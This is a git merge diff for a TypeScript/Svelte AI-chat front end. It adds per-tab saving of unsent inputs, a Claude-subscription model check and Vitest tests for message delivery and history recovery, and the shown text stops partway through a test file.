Merge local dev into feature/close-tab-cascade-subagents

62 files changed, 5364 insertions, 209 deletions

diff --git a/src/features/chat/adapter/pending-inputs.ts b/src/features/chat/adapter/pending-inputs.ts
new file mode 100644
index 0000000..5798fdb
--- /dev/null
+++ b/src/features/chat/adapter/pending-inputs.ts
@@ -0,0 +1,49 @@
+import type { PendingInput, PendingInputStorage } from "../pending-inputs";
+
+export function createPendingInputStorage(
+  storage: Storage,
+  conversationId: string,
+): PendingInputStorage {
+  const prefix = `dispatch.pending-inputs:${conversationId}:`;
+  let known = new Map<string, string>();
+  return {
+    load() {
+      const inputs: PendingInput[] = [];
+      const loaded = new Map<string, string>();
+      for (let i = 0; i < storage.length; i++) {
+        const key = storage.key(i);
+        if (key === null || !key.startsWith(prefix)) continue;
+        const raw = storage.getItem(key);
+        if (raw === null) continue;
+        const input = JSON.parse(raw);
+        if (
+          (input?.request?.type !== "chat.send" && input?.request?.type !== "chat.queue") ||
+          input.request.conversationId !== conversationId ||
+          typeof input.request.requestId !== "string" ||
+          key !== prefix + input.request.requestId ||
+          (input.request.type === "chat.send"
+            ? typeof input.request.message !== "string"
+            : typeof input.request.text !== "string") ||
+          (input.rejection !== undefined && typeof input.rejection !== "string")
+        )
+          throw new Error("Invalid saved input");
+        inputs.push(input);
+        loaded.set(input.request.requestId, raw);
+      }
+      known = loaded;
+      return inputs;
+    },
+    save(inputs) {
+      // Per-request keys prevent another browser tab's send/receipt from overwriting ours.
+      // Quota/security failures reach the composer BEFORE it clears its staged input.
+      const next = new Map(inputs.map((input) => [input.request.requestId, JSON.stringify(input)]));
+      for (const [id, raw] of next) {
+        if (known.get(id) !== raw) storage.setItem(prefix + id, raw);
+      }
+      for (const id of known.keys()) {
+        if (!next.has(id)) storage.removeItem(prefix + id);
+      }
+      known = next;
+    },
+  };
+}
diff --git a/src/features/chat/delivery.test.ts b/src/features/chat/delivery.test.ts
new file mode 100644
index 0000000..99ad2d4
--- /dev/null
+++ b/src/features/chat/delivery.test.ts
@@ -0,0 +1,146 @@
+import { describe, expect, it, vi } from "vitest";
+import { createPendingInputStorage } from "./adapter/pending-inputs";
+import { createChatStore } from "./store.svelte";
+import {
+  createFakeCache,
+  createFakeHistorySync,
+  createFakeMetricsSync,
+  createFakeTransport,
+} from "./test-helpers";
+
+function storage(): Storage {
+  const values = new Map<string, string>();
+  return {
+    get length() {
+      return values.size;
+    },
+    getItem: (key) => values.get(key) ?? null,
+    setItem: (key, value) => {
+      values.set(key, value);
+    },
+    removeItem: (key) => {
+      values.delete(key);
+    },
+    clear: () => values.clear(),
+    key: (index) => [...values.keys()][index] ?? null,
+  };
+}
+
+function fixture(saved = storage(), metricsSync = createFakeMetricsSync().impl) {
+  const transport = createFakeTransport();
+  let id = 0;
+  const store = createChatStore({
+    conversationId: "c",
+    createRequestId: () => `request-${++id}`,
+    pendingInputStorage: createPendingInputStorage(saved, "c"),
+    transport: transport.impl,
+    historySync: createFakeHistorySync().impl,
+    metricsSync,
+    cache: createFakeCache().impl,
+  });
+  return { store, transport, saved };
+}
+
+const images = [{ url: "data:image/png;base64,AAAA", mimeType: "image/png" }];
+
+describe("input delivery", () => {
+  it.each([
+    "send",
+    "queueMessage",
+  ] as const)("saves %s input through refresh without automatically retransmitting", (method) => {
+    const f = fixture();
+    f.store[method]("keep me", images);
+    expect(f.store.pendingInputs).toHaveLength(1);
+    f.store.dispose();
+    const reloaded = fixture(f.saved);
+    expect(reloaded.store.pendingInputs).toMatchObject([{ request: { images } }]);
+    expect(JSON.stringify(reloaded.store.pendingInputs)).toContain("keep me");
+    expect(reloaded.transport.sent).toEqual([]);
+    expect(reloaded.transport.sentQueue).toEqual([]);
+    reloaded.store.dispose();
+  });
+
+  it("streamed user echoes and wrong receipts cannot discard an unconfirmed send", () => {
+    const f = fixture();
+    f.store.send("mine", images);
+    f.store.handleDelta({
+      type: "chat.delta",
+      event: { type: "user-message", conversationId: "c", turnId: "t", text: "mine" },
+    });
+    f.store.handleDelta({ type: "chat.accepted", conversationId: "other", requestId: "request-1" });
+    f.store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "other" });
+    expect(f.store.pendingInputs).toHaveLength(1);
+    f.store.handleDelta({ type: "chat.accepted", conversationId: "c", requestId: "request-1" });
+    expect(f.store.pendingInputs).toEqual([]);
+    expect(createPendingInputStorage(f.saved, "c").load()).toEqual([]);
+    f.store.dispose();
+  });
+
+  it("retains explicitly rejected input and images for recovery until discarded", () => {
+    const f = fixture();
+    f.store.send("mine", images);
+    f.store.handleDelta({
+      type: "chat.error",
+      conversationId: "c",
+      requestId: "request-1",
+      message: "disk full",
+    });
+    const reloaded = fixture(f.saved);
+    expect(reloaded.store.pendingInputs).toMatchObject([
+      { rejection: "disk full", request: { message: "mine", images } },
+    ]);
+    reloaded.store.discardPendingInput("request-1");
+    expect(createPendingInputStorage(f.saved, "c").load()).toEqual([]);
+    f.store.dispose();
+    reloaded.store.dispose();
+  });
+
+  it.each([
+    "send",
+    "queueMessage",
+  ] as const)("does not clear or transmit %s input if saving fails", (method) => {
+    const saved = storage();
+    saved.setItem = () => {
+      throw new Error("quota exceeded");
+    };
+    const f = fixture(saved);
+    expect(() => f.store[method]("mine", images)).toThrow("quota exceeded");
+    expect(f.store.pendingInputs).toEqual([]);
+    expect(f.store.chunks).toEqual([]);
+    expect(f.transport.sent).toEqual([]);
+    expect(f.transport.sentQueue).toEqual([]);
+    f.store.dispose();
+  });
+
+  it("coalesces a reconnect burst and permits one metrics catch-up after completion", async () => {
+    let resolve!: (value: { turns: [] }) => void;
+    const first = {
+      promise: new Promise<{ turns: [] }>((done) => {
+        resolve = done;
+      }),
+      resolve: (value: { turns: [] }) => resolve(value),
+    };
+    const metricsSync = vi.fn().mockReturnValueOnce(first.promise).mockResolvedValue({ turns: [] });
+    const f = fixture(storage(), metricsSync);
+    for (let i = 0; i < 100; i++) f.store.resync();
+    expect(metricsSync).toHaveBeenCalledTimes(1);
+    first.resolve({ turns: [] });
+    await vi.waitFor(() => expect(metricsSync).toHaveBeenCalledTimes(2));
+    f.store.dispose();
+  });
+});
+
+it("concurrent browser tabs cannot overwrite each other's saved messages or receipts", () => {
+  const saved = storage();
+  const first = createPendingInputStorage(saved, "c");
+  const second = createPendingInputStorage(saved, "c");
+  first.load();
+  second.load();
+  const input = (requestId: string) => ({
+    request: { type: "chat.send" as const, conversationId: "c", requestId, message: requestId },
+  });
+  first.save([input("first")]);
+  second.save([input("second")]);
+  first.save([]);
+  expect(createPendingInputStorage(saved, "c").load()).toEqual([input("second")]);
+});
diff --git a/src/features/chat/index.ts b/src/features/chat/index.ts
index 59da39b..41cb06f 100644
--- a/src/features/chat/index.ts
+++ b/src/features/chat/index.ts
@@ -6,8 +6,11 @@ export type {
 } from "../../core/chunks";
 export { groupRenderedChunks, resolveImageUrl, viewProviderRetry } from "../../core/chunks";
 export type { TurnMetricsEntry } from "../../core/metrics";
+export { createPendingInputStorage } from "./adapter/pending-inputs";
 export type { NamedAgentLike, NamedAgentSnapshotLike } from "./model-select";
 export {
+  CLAUDE_SUBSCRIPTION_KEY,
+  isClaudeSubscriptionModel,
   isNamedAgentSelection,
   isNumberedOpenCode,
   isVisionModel,
@@ -20,6 +23,7 @@ export {
   openCodeNumber,
   providerKeysWithNamedAgents,
 } from "./model-select";
+export type { PendingInput, PendingInputStorage } from "./pending-inputs";
 export type { ChatTransport, HistorySync, HistoryWindow, MetricsSync } from "./ports";
 export type {
   EffortOption,
@@ -51,6 +55,7 @@ export { default as CompactionView } from "./ui/CompactionView.svelte";
 export type { ComposerStatus } from "./ui/Composer.svelte";
 export { default as Composer } from "./ui/Composer.svelte";
 export { default as ModelSelector } from "./ui/ModelSelector.svelte";
+export { default as PendingInputs } from "./ui/PendingInputs.svelte";
 export { default as ReasoningEffortSelector } from "./ui/ReasoningEffortSelector.svelte";
 
 /** Public module manifest — aggregated by the shell's "Loaded Modules" view. */
diff --git a/src/features/chat/logic/composer.test.ts b/src/features/chat/logic/composer.test.ts
new file mode 100644
index 0000000..86e9dc4
--- /dev/null
+++ b/src/features/chat/logic/composer.test.ts
@@ -0,0 +1,20 @@
+import { describe, expect, it } from "vitest";
+import { stopButtonLabels } from "./composer";
+
+describe("stopButtonLabels", () => {
+  it.each([undefined, 0])("preserves plain Stop with queued count %s", (count) => {
+    expect(stopButtonLabels(count)).toEqual({
+      text: "Stop",
+      ariaLabel: "Stop generation",
+      title: undefined,
+    });
+  });
+
+  it.each([1, 2])("labels the queued Stop action Flush with queued count %s", (count) => {
+    expect(stopButtonLabels(count)).toEqual({
+      text: "Flush",
+      ariaLabel: "Flush",
+      title: "Stop the current response and start the queued message now",
+    });
+  });
+});
diff --git a/src/features/chat/logic/composer.ts b/src/features/chat/logic/composer.ts
new file mode 100644
index 0000000..e56a007
--- /dev/null
+++ b/src/features/chat/logic/composer.ts
@@ -0,0 +1,11 @@
+/** Stop still uses the same action; the backend carries queued input into a new turn. */
+export function stopButtonLabels(queuedMessageCount: number | undefined) {
+  if (queuedMessageCount !== undefined && queuedMessageCount >= 1) {
+    return {
+      text: "Flush",
+      ariaLabel: "Flush",
+      title: "Stop the current response and start the queued message now",
+    };
+  }
+  return { text: "Stop", ariaLabel: "Stop generation", title: undefined };
+}
diff --git a/src/features/chat/logic/tool-summary.ts b/src/features/chat/logic/tool-summary.ts
index 566e40f..f6d1569 100644
--- a/src/features/chat/logic/tool-summary.ts
+++ b/src/features/chat/logic/tool-summary.ts
@@ -381,7 +381,9 @@ export function viewToolEntry(entry: ToolEntry): ToolCardView {
   const builtInSummary = summarize?.(args).trim();
   const callSummary =
     entry.call === null
-      ? "Call in earlier history"
+      ? entry.recovering
+        ? "Recovering tool input…"
+        : "Call in earlier history"
       : isEmptyInput(input)
         ? ""
         : oneLine(
@@ -416,7 +418,9 @@ export function viewToolEntry(entry: ToolEntry): ToolCardView {
       entry.call === null
         ? {
             kind: "unavailable",
-            text: "This call is earlier in the conversation. Show earlier messages to see it.",
+            text: entry.recovering
+              ? "Tool input is unavailable until it is persisted. Recovering from conversation history…"
+              : "This call is earlier in the conversation. Show earlier messages to see it.",
           }
         : detail(entry.toolName, input, args),
     resultSummary,
diff --git a/src/features/chat/model-select.test.ts b/src/features/chat/model-select.test.ts
index 57de11d..523f1d8 100644
--- a/src/features/chat/model-select.test.ts
+++ b/src/features/chat/model-select.test.ts
@@ -1,5 +1,6 @@
 import { describe, expect, it } from "vitest";
 import {
+  isClaudeSubscriptionModel,
   isNamedAgentSelection,
   isVisionModel,
   joinModelName,
@@ -192,3 +193,23 @@ describe("named-agent provider helpers", () => {
     expect(namedAgentSelectionLabel("Coding")).toBe("Named Agents -> Coding");
   });
 });
+
+describe("isClaudeSubscriptionModel", () => {
+  it("is true for claude/<model> (the Claude Code subscription credential)", () => {
+    expect(isClaudeSubscriptionModel("claude/claude-opus-4-6")).toBe(true);
+    expect(isClaudeSubscriptionModel("claude/claude-sonnet-4-6")).toBe(true);
+  });
+
+  it("is false for Claude models served through other credentials", () => {
+    expect(isClaudeSubscriptionModel("opencode-1/claude-sonnet-4.5")).toBe(false);
+    expect(isClaudeSubscriptionModel("openrouter/anthropic/claude-opus-4")).toBe(false);
+    expect(isClaudeSubscriptionModel("openai/gpt-4o")).toBe(false);
+  });
+
+  it("is false for a bare key, a lookalike key, or undefined", () => {
+    expect(isClaudeSubscriptionModel("claude")).toBe(false);
+    expect(isClaudeSubscriptionModel("claude/")).toBe(false);
+    expect(isClaudeSubscriptionModel("claude-2/claude-opus-4-6")).toBe(false);
+    expect(isClaudeSubscriptionModel(undefined)).toBe(false);
+  });
+});
diff --git a/src/features/chat/model-select.ts b/src/features/chat/model-select.ts
index 6f198f3..bebad2c 100644
--- a/src/features/chat/model-select.ts
+++ b/src/features/chat/model-select.ts
@@ -63,6 +63,25 @@ export function isNumberedOpenCode(id: string): boolean {
 }
 
 /**
+ * The credential key of the Claude Code subscription (the external Claude
+ * extension — `auth-claude` + `provider-anthropic`). The backend registers it
+ * under `DISPATCH_CLAUDE_CREDENTIAL`, default `"claude"`, so its models arrive
+ * as `claude/<model>`.
+ */
+export const CLAUDE_SUBSCRIPTION_KEY = "claude";
+
+/**
+ * True iff `full` is a model served through the Claude Code subscription
+ * (`claude/<model>`). Gates the cache timer (that subscription's prompt cache
+ * expires after 5 minutes). A bare key with no model is not a model.
+ */
+export function isClaudeSubscriptionModel(full: string | undefined): boolean {
+  if (full === undefined) return false;
+  const { key, model } = splitModelName(full);
+  return key === CLAUDE_SUBSCRIPTION_KEY && model !== "";
+}
+
+/**
  * A friendly human label for a model key/provider id: `opencode-<n>` →
  * "OpenCode #<n>"; any other id is returned unchanged. The RAW id is still what
  * gets selected/persisted — this only affects display.
diff --git a/src/features/chat/pending-inputs.ts b/src/features/chat/pending-inputs.ts
new file mode 100644
index 0000000..d7fb0aa
--- /dev/null
+++ b/src/features/chat/pending-inputs.ts
@@ -0,0 +1,12 @@
+import type { ChatQueueMessage, ChatSendMessage } from "@dispatch/transport-contract";
+
+/** A saved copy, never automatically retransmitted: requestId is not idempotent. */
+export interface PendingInput {
+  readonly request: (ChatSendMessage | ChatQueueMessage) & { readonly requestId: string };
+  readonly rejection?: string;
+}
+
+export interface PendingInputStorage {
+  load(): readonly PendingInput[];
+  save(inputs: readonly PendingInput[]): void;
+}
diff --git a/src/features/chat/queued.test.ts b/src/features/chat/queued.test.ts
new file mode 100644
index 0000000..3b579c6
--- /dev/null
+++ b/src/features/chat/queued.test.ts
@@ -0,0 +1,207 @@
+import type { ChatQueuedMessage } from "@dispatch/transport-contract";
+import type { AgentEvent } from "@dispatch/wire";
+import { describe, expect, it, vi } from "vitest";
+import { createChatStore } from "./store.svelte";
+import {
+  createFakeCache,
+  createFakeHistorySync,
+  createFakeMetricsSync,
+  createFakeTransport,
+} from "./test-helpers";
+
+const images = [
+  { url: "data:image/png;base64,AAAA", mimeType: "image/png" },
+  { url: "data:image/png;base64,BBBB" },
+];
+
+function fixture(batched = false) {
+  const transport = createFakeTransport();
+  const history = createFakeHistorySync();
+  let nextId = 0;
+  const scheduled: (() => void)[] = [];
+  const store = createChatStore({
+    conversationId: "c1",
+    createRequestId: () => `r${++nextId}`,
+    transport: transport.impl,
+    historySync: history.impl,
+    metricsSync: createFakeMetricsSync().impl,
+    cache: createFakeCache().impl,
+    ...(batched ? { scheduleFlush: (flush: () => void) => scheduled.push(flush) } : {}),
+  });
+  function ack(requestId: string | undefined = "r1", conversationId = "c1") {
+    const msg: ChatQueuedMessage = {
+      type: "chat.queued",
+      conversationId,
+      reason: "compaction",
+      messageId: "q1",
+      ...(requestId !== undefined ? { requestId } : {}),
+    };
+    store.handleDelta(msg);
+  }
+  function event(event: AgentEvent) {
+    store.handleDelta({ type: "chat.delta", event });
+  }
+  function start(text?: string, turnId = "t1") {
+    event({ type: "turn-start", conversationId: "c1", turnId });
+    if (text !== undefined) event({ type: "user-message", conversationId: "c1", turnId, text });
+  }
+  return { store, transport, history, scheduled, ack, event, start };
+}
+
+describe("compaction-deferred chat.send", () => {
+  it.each([
+    "hello",
+    "",
+  ])("removes just the accepted local text/images for %j without error, retry or queue sends", (text) => {
+    const f = fixture();
+    f.store.send(text, images);
+    expect(f.store.chunks).toHaveLength(text ? 3 : 2);
+    f.ack();
+    f.ack();
+    expect(f.store.chunks).toEqual([]);
+    expect(f.store.generating).toBe(false);
+    expect(f.store.error).toBeNull();
+    expect(f.transport.sent).toHaveLength(1);
+    expect(f.transport.sent[0]).toMatchObject({ requestId: "r1", images, message: text });
+    expect(f.transport.sentQueue).toEqual([]);
+    f.store.dispose();
+  });
+
+  it("uses distinct request identities for identical sends and preserves unrelated content", () => {
+    const f = fixture();
+    f.start("another client's prompt");
+    f.event({ type: "text-delta", conversationId: "c1", turnId: "t1", delta: "working" });
+    f.store.send("identical", images);
+    f.store.send("identical", images);
+    expect(f.transport.sent.map((m) => m.requestId)).toEqual(["r1", "r2"]);
+    f.ack("r1");
+    f.ack("r1");
+    expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+      { type: "text", text: "another client's prompt" },
+      { type: "text", text: "working" },
+      { type: "text", text: "identical" },
+      ...images.map((i) => ({ type: "image", ...i })),
+    ]);
+    f.ack("r2");
+    expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+      { type: "text", text: "another client's prompt" },
+      { type: "text", text: "working" },
+    ]);
+    expect(f.store.generating).toBe(true);
+    f.store.dispose();
+  });
+
+  it.each([
+    "missing",
+    "unknown",
+    "wrong-conversation",
+  ])("tolerates %s correlation without deleting any echo", (kind) => {
+    const f = fixture();
+    f.store.send("hello", images);
+    f.store.handleDelta({
+      type: "chat.queued",
+      conversationId: kind === "wrong-conversation" ? "c2" : "c1",
+      reason: "compaction",
+      messageId: "q1",
+      ...(kind === "missing" ? {} : { requestId: kind === "unknown" ? "r999" : "r1" }),
+    });
+    expect(f.store.chunks).toHaveLength(3);
+    expect(f.store.error).toBeNull();
+    f.store.dispose();
+  });
+
+  it.each([
+    false,
+    true,
+  ])("preserves a live confirmed prompt before delayed ack (batched=%s)", (batched) => {
+    const f = fixture(batched);
+    f.store.send("hello", images);
+    f.start("hello");
+    f.event({ type: "text-delta", conversationId: "c1", turnId: "t1", delta: "answer" });
+    f.ack();
+    f.ack();
+    for (const flush of f.scheduled) flush();
+    expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+      { type: "text", text: "hello" },
+      { type: "text", text: "answer" },
+    ]);
+    expect(f.store.generating).toBe(true);
+    expect(f.store.error).toBeNull();
+    f.store.dispose();
+  });
+
+  it("turn-start tagging alone does not protect a still-local echo", () => {
+    const f = fixture(true);
+    f.store.send("hello", images);
+    f.start();
+    f.ack();
+    expect(f.store.chunks).toEqual([]);
+    expect(f.store.generating).toBe(true);
+    f.event({ type: "user-message", conversationId: "c1", turnId: "t1", text: "hello" });
+    for (const flush of f.scheduled) flush();
+    expect(f.store.chunks.map((c) => c.chunk)).toEqual([{ type: "text", text: "hello" }]);
+    f.store.dispose();
+  });
+
+  it("keeps a combined queue opening and steering; removes only the original individual echoes", () => {
+    const f = fixture(true);
+    f.store.send("one", images);
+    f.store.send("two", images);
+    f.start("one\n\ntwo");
+    f.event({ type: "steering", conversationId: "c1", turnId: "t1", text: "steer" });
+    f.ack("r2");
+    f.ack("r1");
+    expect(f.store.chunks.map((c) => c.chunk)).toEqual([
+      { type: "text", text: "one\n\ntwo" },
+      { type: "text", text: "steer" },
+    ]);
+    expect(f.store.generating).toBe(true);
+    f.store.dispose();
+  });
+
+  it.each([
+    "ack-first",
+    "reset-first",
+    "history-first",
+  ])("handles epoch replacement idempotently: %s", async (order) => {
+    const f = fixture();
+    await f.store.load();
+    f.store.send("hello", images);
+    if (order === "ack-first") f.ack();
+    f.history.historyEpoch = 1;
+    f.history.returnChunks = [
+      { seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "hello" } },
+      { seq: 2, role: "user", turnId: "t1", chunk: { type: "image", url: "/images/c1/saved.png" } },
+    ];
+    f.store.resync(1);
+    if (order === "reset-first") f.ack();
+    await vi.waitFor(() => expect(f.store.pendingSync).toBe(false));
+    f.start("hello");
+    const before = f.store.chunks;
+    f.ack();
+    f.ack();
+    expect(f.store.chunks).toEqual(before);
+    expect(f.store.chunks.map((c) => c.chunk)).toEqual(f.history.returnChunks.map((c) => c.chunk));
+    expect(f.store.generating).toBe(true);
+    expect(f.store.error).toBeNull();
+    expect(f.transport.sent).toHaveLength(1);
+    f.store.dispose();
+  });
+
+  it("keeps normal immediate-send text/image deduplication and authoritative history", async () => {
+    const f = fixture();
+    f.store.send("hello", images);
+    f.start("hello");
+    expect(f.store.chunks).toHaveLength(3);
+    f.history.returnChunks = [
+      { seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "hello" } },
+      { seq: 2, role: "user", turnId: "t1", chunk: { type: "image", url: "/images/c1/saved.png" } },
+    ];
+    f.event({ type: "turn-sealed", conversationId: "c1", turnId: "t1" });
+    await vi.waitFor(() => expect(f.store.pendingSync).toBe(false));
+    expect(f.store.chunks.map((c) => c.chunk)).toEqual(f.history.returnChunks.map((c) => c.chunk));
+    expect(f.store.chunks.every((c) => !c.provisional)).toBe(true);
+    expect(f.transport.sent).toHaveLength(1);
+    f.store.dispose();
+  });
+});
diff --git a/src/features/chat/recovery.test.ts b/src/features/chat/recovery.test.ts
new file mode 100644
index 0000000..4b46288
--- /dev/null
+++ b/src/features/chat/recovery.test.ts
@@ -0,0 +1,529 @@
+import type {
+  ChatResyncRequiredMessage,
+  ConversationHistoryResponse,
+} from "@dispatch/transport-contract";
+import type { AgentEvent, StepId, StoredChunk, TurnEndedEvent } from "@dispatch/wire";
+import { IDBFactory, IDBKeyRange } from "fake-indexeddb";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { createIdbChunkStore } from "../../adapters/idb";
+import { createConversationCache } from "../conversation-cache";
+import type { HistorySync } from "./ports";
+import { createChatStore } from "./store.svelte";
+import {
+  createFakeCache,
+  createFakeHistorySync,
+  createFakeMetricsSync,
+  createFakeTransport,
+} from "./test-helpers";
+
+const step = "t1#0" as StepId;
+const opening: StoredChunk = {
+  seq: 1,
+  role: "user",
+  turnId: "t1",
+  chunk: { type: "text", text: "prompt" },
+};
+const call: StoredChunk = {
+  seq: 3,
+  role: "assistant",
+  turnId: "t1",
+  chunk: {
+    type: "tool-call",
+    toolCallId: "a",
+    toolName: "run_shell",
+    stepId: step,
+    input: { command: "full input" },
+  },
+};
+const result: StoredChunk = {
+  seq: 4,
+  role: "tool",
+  turnId: "t1",
+  chunk: {
+    type: "tool-result",
+    toolCallId: "a",
+    toolName: "run_shell",
+    stepId: step,
+    content: "full output",
+    isError: false,
+  },
+};
+const committed: StoredChunk[] = [
+  opening,
+  { seq: 2, role: "assistant", turnId: "t1", chunk: { type: "text", text: "complete text" } },
+  call,
+  result,
+];
+
+function fixture(historySync?: HistorySync, batched = false) {
+  const history = createFakeHistorySync();
+  const transport = createFakeTransport();
+  const cache = createFakeCache();
+  const scheduled: (() => void)[] = [];
+  const store = createChatStore({
+    conversationId: "c1",
+    createRequestId: () => "r1",
+    historySync: historySync ?? history.impl,
+    metricsSync: createFakeMetricsSync().impl,
+    cache: cache.impl,
+    transport: transport.impl,
+    ...(batched ? { scheduleFlush: (fn: () => void) => scheduled.push(fn) } : {}),
+  });
+  const event = (event: AgentEvent) => store.handleDelta({ type: "chat.delta", event });
+  const notice = (
+    turnId: string | undefined = "t1",
+    reason: ChatResyncRequiredMessage["reason"] = "replay-limit",
+  ) =>
+    store.handleDelta({
+      type: "chat.resync-required",
+      conversationId: "c1",
+      reason,
+      ...(turnId !== undefined ? { turnId } : {}),
+    });
+  const end = (reason: TurnEndedEvent["reason"] = "sealed", turnId = "t1") =>
+    event({ type: "turn-ended", conversationId: "c1", turnId, reason });
+  const text = (delta: string, turnId = "t1") =>
+    event({ type: "text-delta", conversationId: "c1", turnId, delta });
+  return { store, history, transport, cache, scheduled, event, notice, end, text };
+}
+
+async function settled(store: ReturnType<typeof createChatStore>) {
+  for (let i = 0; i < 80 && store.pendingSync; i++) await Promise.resolve();
+  expect(store.pendingSync).toBe(false);
+}
+function response(chunks: readonly StoredChunk[], historyEpoch = 0): ConversationHistoryResponse {
+  return { chunks, historyEpoch, latestSeq: chunks.at(-1)?.seq ?? 0 };
+}
+function deferred() {
+  let resolve!: (value: ConversationHistoryResponse) => void;
+  const promise = new Promise<ConversationHistoryResponse>((r) => {
+    resolve = r;
+  });
+  return { promise, resolve };
+}
+
+afterEach(() => {
+  vi.useRealTimers();
+  vi.unstubAllGlobals();
+});
+
+describe("omitted chat recovery", () => {
+  it.each([
+    false,
+    true,
+  ])("marks omitted replay active without content and recovers full HTTP payload (batched=%s)", async (batched) => {
+    vi.useFakeTimers();
+    const f = fixture(undefined, batched);
+    f.text("partial");
+    f.notice();
+    expect(f.store.generating).toBe(true);
+    expect(f.store.recovering).toBe(true);
+    expect(f.store.chunks.map((r) => r.chunk)).toEqual([{ type: "text", text: "partial" }]);
+    await settled(f.store);
+    // No initial commit yet. A tool result follows an OMITTED call input.
+    f.event({
+      type: "tool-result",
+      conversationId: "c1",
+      turnId: "t1",
+      stepId: step,
+      toolCallId: "a",
+      toolName: "run_shell",
+      content: "short replay",
+      isError: false,
+    });
+    f.history.returnChunks = committed;
+    await vi.advanceTimersByTimeAsync(1000);
+    expect(f.store.chunks.filter((r) => r.chunk.type === "tool-call")).toEqual([
+      expect.objectContaining({ chunk: call.chunk, provisional: false }),
+    ]);
+    expect(f.store.chunks.filter((r) => r.chunk.type === "tool-result")).toHaveLength(1);
+    expect(f.store.chunks.find((r) => r.chunk.type === "tool-result")?.chunk).toEqual(result.chunk);
+    expect(f.store.generating).toBe(true);
+    expect(f.store.error).toBeNull();
+    expect(f.transport.sent).toEqual([]);
+    f.store.dispose();
+    expect(vi.getTimerCount()).toBe(0);
+  });
+
+  it("coalesces repeat notices and polls after step notification races persistence, without parallel requests", async () => {
+    vi.useFakeTimers();
+    const pending = deferred();
+    let calls = 0;
+    const f = fixture(async () => {
+      calls++;
+      return calls === 1 ? pending.promise : response(committed);
+    });
+    f.notice();
+    for (let i = 0; i < 20; i++) f.notice();
+    for (let i = 0; i < 15; i++) await Promise.resolve();
+    expect(calls).toBe(1);
+    f.event({ type: "step-complete", conversationId: "c1", turnId: "t1", stepId: step });
+    await vi.advanceTimersByTimeAsync(10000);
+    expect(calls).toBe(1);
+    pending.resolve(response([]));
+    await settled(f.store);
+    expect(calls).toBe(1);
+    await vi.advanceTimersByTimeAsync(999);
+    expect(calls).toBe(1);
+    await vi.advanceTimersByTimeAsync(1);
+    expect(calls).toBe(2);
+    expect(f.store.chunks.map((r) => r.chunk)).toEqual(committed.map((r) => r.chunk));
+    f.store.dispose();
+  });
+
+  it.each([
+    "sealed",
+    "aborted",
+    "error",
+    "rejected",
+  ] as const)("final-syncs %s behind an in-flight fetch and preserves immediate queued carry", async (reason) => {
+    vi.useFakeTimers();
+    const pending = deferred();
+    let calls = 0;
+    const f = fixture(async () => (++calls === 1 ? pending.promise : response(committed)));
+    f.notice();
+    for (let i = 0; i < 10; i++) await Promise.resolve();
+    f.text("old tail");
+    f.end(reason);
+    f.event({ type: "user-message", conversationId: "c1", turnId: "t2", text: "queued input" });
+    f.event({ type: "turn-start", conversationId: "c1", turnId: "t2" });
+    f.text("carried tail", "t2");
+    pending.resolve(response([opening]));
+    await settled(f.store);
+    expect(calls).toBe(2);
+    expect(f.store.recovering).toBe(false);
+    expect(f.store.generating).toBe(true);
+    expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+      { type: "text", text: "queued input" },
+      { type: "text", text: "carried tail" },
+    ]);
+    expect(f.store.chunks.filter((r) => r.turnId === "t1").every((r) => !r.provisional)).toBe(true);
+    await vi.advanceTimersByTimeAsync(5000);
+    expect(calls).toBe(2);
+    f.end("sealed", "t2");
+    expect(f.store.generating).toBe(false);
+    f.store.dispose();
+  });
+
+  it.each([
+    false,
+    true,
+  ])("notice during %s-cache load requests one rerun, preserving current window", async (warm) => {
+    vi.useFakeTimers();
+    const pending = deferred();
+    let calls = 0;
+    const f = fixture(async (_id, _since, window) => {
+      calls++;
+      if (!warm) expect(window?.limit).toBe(192);
+      return calls === 1 ? pending.promise : response([opening]);
+    });
+    if (warm) f.cache.store.set("c1", [opening]);
+    const load = f.store.load();
+    for (let i = 0; i < 15; i++) await Promise.resolve();
+    f.notice();
+    pending.resolve(response([opening]));
+    await load;
+    await settled(f.store);
+    expect(calls).toBe(2);
+    expect(f.store.chunks).toHaveLength(1);
+    expect(f.store.recovering).toBe(true);
+    expect(f.store.generating).toBe(true);
+    f.store.dispose();
+  });
+
+  it("payload notice after a completed HTTP load preserves live tail, unrelated turn and tool progress", async () => {
+    vi.useFakeTimers();
+    const f = fixture();
+    await f.store.load();
+    f.event({ type: "turn-start", conversationId: "c1", turnId: "other" });
+    f.text("unrelated", "other");
+    f.event({ type: "turn-start", conversationId: "c1", turnId: "t1" });
+    f.text("partial text");
+    f.event({
+      type: "tool-call",
+      conversationId: "c1",
+      turnId: "t1",
+      stepId: step,
+      toolCallId: "a",
+      toolName: "run_shell",
+      input: { command: "short" },
+    });
+    f.event({
+      type: "tool-result",
+      conversationId: "c1",
+      turnId: "t1",
+      stepId: step,
+      toolCallId: "a",
+      toolName: "run_shell",
+      content: "short",
+      isError: false,
+    });
+    f.text("complete text"); // same payload as earlier step; NOT the same identity
+    f.event({
+      type: "tool-output",
+      conversationId: "c1",
+      turnId: "t1",
+      toolCallId: "next",
+      data: "progress",
+      stream: "stdout",
+    });
+    f.history.returnChunks = committed;
+    f.notice("t1", "payload-limit");
+    await settled(f.store);
+    expect(f.store.chunks.filter((r) => r.provisional).map((r) => r.chunk)).toEqual([
+      { type: "text", text: "unrelated" },
+      { type: "text", text: "complete text" },
+    ]);
+    expect(f.store.chunks.filter((r) => r.chunk.type === "tool-call")).toHaveLength(1);
+    expect(f.store.chunks.filter((r) => r.chunk.type === "tool-result")).toHaveLength(1);
+    f.store.dispose();
+  });
+
+  it("bounds epoch churn during recovery and cancels its retry timer on disposal", async () => {
+    vi.useFakeTimers();
+    let calls = 0;
+    const f = fixture(async () => {
+      f.store.invalidateHistory(++calls);
+      return response([], calls - 1);
+    });
+    f.notice();
+    await settled(f.store);
+    expect(calls).toBe(3);
+    expect(f.store.error).toContain("sync paused");
+    await vi.advanceTimersByTimeAsync(10000);
+    expect(calls).toBe(3);
+    f.store.dispose();
+    await vi.advanceTimersByTimeAsync(10000);
+    expect(calls).toBe(3);
+    expect(vi.getTimerCount()).toBe(0);
+  });
+
